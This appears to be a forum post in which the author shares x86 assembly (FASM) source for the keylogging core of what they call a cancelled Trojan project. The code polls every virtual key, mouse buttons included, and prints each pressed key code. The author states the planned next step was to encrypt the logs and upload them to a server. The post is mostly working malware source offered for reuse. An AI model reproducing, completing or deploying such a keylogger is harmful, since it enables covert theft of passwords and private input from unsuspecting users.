This was part of my cancelled Trojan project. I'm now taking on other things.
It was supposed to internally log the keys and then when reached a certain amount, encrypt and upload to server.
As you can see, it was a loaded project. lol
format pe console 4.0
include 'win32ax.inc'
entry main
section 'txt' code readable executable
tId dd 0
main:
invoke CreateThread,0,0,thread_logger,0,0,[tId]
invoke WaitForSingleObject,eax,0FFFFFFFh
;Say what ?, no it won't reach here
fmt db '0x%04X',10,0
proc thread_logger,lpDat
mov dword[ebp-4],1
reset:
mov dword[ebp-4],1
for_loop:
push dword[ebp-4]
call [GetAsyncKeyState]
cmp eax,-32767
jne no_log
push dword[ebp-4]
push fmt
stdcall [printf]
no_log:
inc dword[ebp-4]
cmp dword[ebp-4],100000000b
jnz for_loop
push 09
call [Sleep]
jmp reset
endp
section '.idata' import data readable
library user32,'user32.dll',\
kernel32,'kernel32.dll',\
msvc,'msvcrt.dll'
import msvc,\
printf,'printf'
include 'api/user32.inc'
include 'api/kernel32.inc'
it logs also mouse key... Enjoy